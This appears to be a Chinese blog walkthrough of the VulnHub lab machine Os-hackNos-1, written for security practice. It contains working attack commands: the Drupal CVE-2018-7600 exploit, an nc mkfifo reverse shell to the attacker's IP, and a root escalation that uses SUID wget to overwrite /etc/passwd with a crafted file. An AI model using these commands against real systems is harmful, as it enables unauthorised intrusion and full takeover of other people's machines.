一.涉及的知识点

1.信息收集:端口扫描,目录扫描

2.cms漏洞利用

3.反弹shell

4.suid提权

5.passwd提权

二.实验环境

kali:10.77.74.238

目标拿取两个flag:一个在user.txt,一个在root.txt

靶机下载地址:hackNos: Os-hackNos ~ VulnHub

三.信息收集

1.找到攻击机对应的ip

第一种方法:使用netdiscover网络扫描工具:netdiscover -i 网卡名 -r ip网段

#-i参数后面网卡名

#-r参数后面跟ip网段

#还有其它具体参数可以去其它文章看看

netdiscover -i eth0 -r 10.77.74.0/24

扫描的结果如下:10.77.74.203就是靶机的ip

第二种方法:nmap扫描整个网段

nmap ip网段

nmap 10.77.74.0/24

扫描的结果如下:10.77.74.203就是靶机的ip

访问对应的ip

2.进行端口扫描:

nmap -sV -sC -A ip

#-sV:对端口上的服务程序版本进行扫描

#-sC:使用脚本进行扫描,耗时长

#-A:强力扫描

#-oA:将nmap输出保存为三种主要格式

nmap -A -sV -sC 10.77.74.203 -oA Os-hackNos-1

结果是有22端口和80端口

3.进行目录扫描:

gobuster dir -u ip -w 字典

gobuster dir -u http://10.77.74.203 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

#这里选用kali自带的字典

查看结果:扫出了drupal

扫描出了drupal之后,可以对drupal目录进行扫描

访问对方的drupal目录

四.cms漏洞利用

1.drupal的版本:

要利用对方的cms漏洞,需要知道cms的版本

由于对drupal这套程序不熟悉,需要借助搜索引擎或者下载源码

在某篇文章发现了CHANGELOG.txt,可以看到版本信息

访问CHANGELOG.txt,可以看到对方版本为7.57

2.drupal 7.57漏洞利用

已知drupal版本为7.57,去github或者googole寻找exp

kali:git clone GitHub - pimps/CVE-2018-7600: Exploit for Drupal 7 <= 7.57 CVE-2018-7600

查看exp的帮助文档

#-c 后面是cmd命令

使用exp执行一些命令

3.利用exp读取数据库配置文件

找到数据库配置文件,还是借助搜索引擎

使用exp读取文件

将数据库账号和密码记录下来,说不定会有用

五.反弹shell

1.在kali拿到shell

(1)kali机:

使用nc命令进行监听

nc -lvnp 6666

#-l:用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。

#-p:指定端口

#-v:输出交互或出错信息,新手调试时尤为有用

#-n:仅数字IP地址,无DNS

(2)在对方的shell执行nc反弹:

nc反弹的命令:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.77.74.238 6666 >/tmp/f

在exp执行nc反弹

kali机已经拿到shell

2.拿到shell出现的两个问题

(1)无法执行su登录

终端有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行

(2)当按上下左右键时会出现乱码

3.解决shell出现的两个问题

方法:

(1)在kaili使用bash-shell:输入命令bash

(2)使用nc进行监听: nc -lvnp 8888

(3)对方nc反弹

(4)得到反弹shell后进行python虚拟化终端,看对方是python3还是python

python -c 'import pty;pty.spawn("/bin/bash")'

python3 -c 'import pty;pty.spawn("/bin/bash")'

(5)使用ctrl+z把得到的反弹shell放到后台

(6)设置原始格式:stty -echo raw

(7)fg再回车调用后台任务

4.浏览用户家目录,拿取第一个flag

5.读取root,被拒绝了

6.在主页/var/www/html发现了一个alexander.txt

读取的内容一看就是base64解密,使用base64解密,发现是一种编码

借助搜索引擎,顺便点进去一个,找到解密的在线网站,顺便解密,收集到一个用户的账号密码

记录一下账号密码

7.拿到账号和密码,可以尝试登录和远程连接

登录账号:su james,发现没权限

远程连接:ssh james@10.77.74.203,发现也不行

六.linux提权:suid提权和passwd提权

1.suid提权:

查找有suid的命令:find / -perm -u=s -type f 2>/dev/null

# -perm 表示搜索随后的权限

# -u = s表示查找root用户拥有的文件

# -type表示我们正在寻找的文件类型

# f 表示常规文件,而不是目录或特殊文件

# 2表示该进程的第二个文件描述符,即stderr(标准错误)

通过suid命令的查找,wget是可以利用的,可以配合passwd提权

#这里平时就需要多积累那些suid命令能够迅速帮助我们提权的

2.passwd提权:

首先,通过OpenSSL passwd生成一个新的用户cao,命令为openssl passwd -1 -salt cao 123456

获取/etc/passwd的内容,复制到本地文本,保存在desktop的passwd文件里

/etc/passwd内容解析:

用户名:密码:UID(用户ID):GID(组ID:描述性信息):主目录:默认Shell

添加新用户,密码设置为刚才加密的密码,其它跟root一样

kali开启微型服务器(其它的也行,只要能够让对方访问我们的80端口就行)

利用shell让对方机器用wget命令下载kali机器带有cao用户的passwd,替换掉原来的/etc/passwd(wget有suid,所以能替换掉原来的passwd)

命令:wget http://10.77.74.238/passwd -O /etc/passwd

再登录用户cao,就可以访问/root文件

七.总结

1.信息收集:端口扫描和目录扫描

端口扫描主要学习nmap工具,学习一些常用的参数

目录扫描有很多工具,例如本次使用的gobuster,还有7kbstorm,dirsearch,dirsearch

2.反弹shell:

liunx反弹shell的方式也是挺多的,本次使用nc反弹,还有bash反弹,python反弹等;同样,windows反弹shell也是很多种方式,这也是本人后面需要多去总结的东西

3.suid提权:

suid提权方式有很多,除了今天的wget配合passwd提权,还需要多掌握其它suid提权的方式,例如find,vim等,这也是本人打完这个靶机需要去学习的地方,达到对suid提权的方式比较熟悉

4.linux提权:

linux提权的方式也是挺多的,通过这次靶机熟悉了suid+passwd提权的方式,本人也是学过很多的linux提权方式,但都基本忘关了,后面同样会捡起来做总结.

相关链接

评论可见,请评论后查看内容,谢谢!!!评论后请刷新页面。